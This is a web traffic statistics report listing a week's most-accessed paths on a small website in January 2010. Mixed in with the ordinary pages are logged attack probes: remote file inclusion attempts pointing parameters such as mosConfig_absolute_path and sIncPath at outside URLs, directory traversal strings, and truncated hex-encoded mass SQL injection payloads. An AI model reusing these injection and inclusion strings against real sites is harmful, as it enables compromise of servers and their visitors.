Directories Report

Week of 1/3/2010 to 1/9/2010

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /graphics] 38,275 63.30 423,328,191 66.83 1,178 18.14
2 [ /season] 15,154 25.06 86,908,487 13.72 1,745 26.87
3 [ /Templates] 3,083 5.10 2,361,117 0.37 1,018 15.68
4 / 1,455 2.41 22,706,378 3.58 1,242 19.13
5 [ /webstats] 602 1.00 1,758,810 0.28 255 3.93
6 [ /stats] 416 0.69 1,466,207 0.23 36 0.55
7 [ /pdfs] 404 0.67 72,932,794 11.51 275 4.23
8 /SASregistration.htm 135 0.22 4,923,722 0.78 134 2.06
9 /index.htm 125 0.21 2,716,336 0.43 123 1.89
10 /SAScontact.htm 124 0.21 2,099,535 0.33 122 1.88
11 [ /galleries] 103 0.17 78,564 0.01 30 0.46
12 /SASabout.htm 80 0.13 1,651,090 0.26 78 1.20
13 [ /?custompluginfile[]=http:] 72 0.12 1,746,216 0.28 0 0.00
14 /SASgallery.htm 69 0.11 1,364,552 0.22 68 1.05
15 /SASfosas.htm 67 0.11 1,448,712 0.23 66 1.02
16 /SASscholarship.htm 48 0.08 777,887 0.12 47 0.72
17 [ /?sIncPath=http:] 47 0.08 1,139,891 0.18 0 0.00
18 /SASlinks.htm 44 0.07 589,020 0.09 43 0.66
19 /SASnewsletter.htm 35 0.06 559,025 0.09 34 0.52
20 [ /?view=page&pagename=http:] 20 0.03 485,060 0.08 0 0.00
21 [ /?_zb_path=http:] 17 0.03 412,301 0.07 0 0.00
22 [ /?mosConfig_absolute_path=http:] 11 0.02 266,783 0.04 0 0.00
23 [ /?_zb_path=..] 8 0.01 194,024 0.03 0 0.00
24 [ /?_SERVER[DOCUMENT_ROOT]=http:] 7 0.01 169,771 0.03 0 0.00
25 [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] 6 0.01 145,518 0.02 0 0.00
26 /?> 4 0.01 24,253 0.00 0 0.00
27 [ ///?sIncPath=http:] 3 0.00 72,759 0.01 0 0.00
28 /?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ=
=
3 0.00 24,253 0.00 0 0.00
29 [ /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http:] 3 0.00 72,759 0.01 0 0.00
30 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732
2 0.00 48,506 0.01 0 0.00
31 [ /?GLOBALS[mosConfig_absolute_path]=http:] 2 0.00 48,506 0.01 0 0.00
32 /?_ult_url_params=sec=srp&slk=web&cpos=&pos=1&concept=standa
rd&query=Sharon art studio&cbid=
2 0.00 48,506 0.01 0 0.00
33 /?citysearch_profile_view=1&profile_id=41271045 2 0.00 24,253 0.00 0 0.00
34 [ /?custompluginfile[]=..] 2 0.00 48,506 0.01 0 0.00
35 /?feed=rss2 2 0.00 48,506 0.01 0 0.00
36 /?p=40148 2 0.00 0 0.00 0 0.00
37 [ /?page=http:] 2 0.00 48,506 0.01 0 0.00
38 [ /?sourcedir=http:] 2 0.00 48,506 0.01 0 0.00
39 [ //?page=http:] 1 0.00 24,253 0.00 0 0.00
40 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,253 0.00 0 0.00
41 /?;DECLARE 1 0.00 24,253 0.00 0 0.00
42 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732@S);
1 0.00 24,253 0.00 0 0.00
43 [ /?ABSOLUTE_PATH_STUDIP=http:] 1 0.00 24,253 0.00 0 0.00
44 [ /?DOCUMENT_ROOT=http:] 1 0.00 24,253 0.00 0 0.00
45 [ /?_SERVER[DOCUMENT_ROOT]=..] 1 0.00 24,253 0.00 0 0.00
46 /?_ult_url_params=sec=srp&slk=web&cpos=&pos=1&concept=standa
rd&query=Sharon
1 0.00 24,253 0.00 0 0.00
47 [ /?cmd&file=http:] 1 0.00 24,253 0.00 0 0.00
48 [ /?custompluginfile=http:] 1 0.00 24,253 0.00 0 0.00
49 [ /?custompluginfile[]http:] 1 0.00 24,253 0.00 0 0.00
50 [ /?error=http:] 1 0.00 24,253 0.00 0 0.00
51 /?id=http: 1 0.00 24,253 0.00 0 0.00
52 [ /?mosConfig_absolute_path= http:] 1 0.00 24,253 0.00 0 0.00
53 [ /?mosConfig_absolute_path=..] 1 0.00 24,253 0.00 0 0.00
54 [ /?option=com_content&task=&sectionid=&id=&mosConfig_absolute
_path=http:]
1 0.00 24,253 0.00 0 0.00
55 /?path[docroot]= 1 0.00 24,253 0.00 0 0.00
56 [ /?path[docroot]= http:] 1 0.00 24,253 0.00 0 0.00
57 [ /?path[docroot]=http:] 1 0.00 24,253 0.00 0 0.00
58 /?php=http://www.nglschool.co.kr 1 0.00 24,253 0.00 0 0.00
59 [ /?sIncPath= powered 2009http:] 1 0.00 24,253 0.00 0 0.00
60 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
1 0.00 24,253 0.00 0 0.00
61 [ /?sincpath=http:] 1 0.00 24,253 0.00 0 0.00
62 [ /?sourcedir=..] 1 0.00 24,253 0.00 0 0.00
63 /?tp=1 1 0.00 24,253 0.00 0 0.00
64 [ /?view=page&pagename= http:] 1 0.00 24,253 0.00 0 0.00
65 [ /?zb_path=http:] 1 0.00 24,253 0.00 0 0.00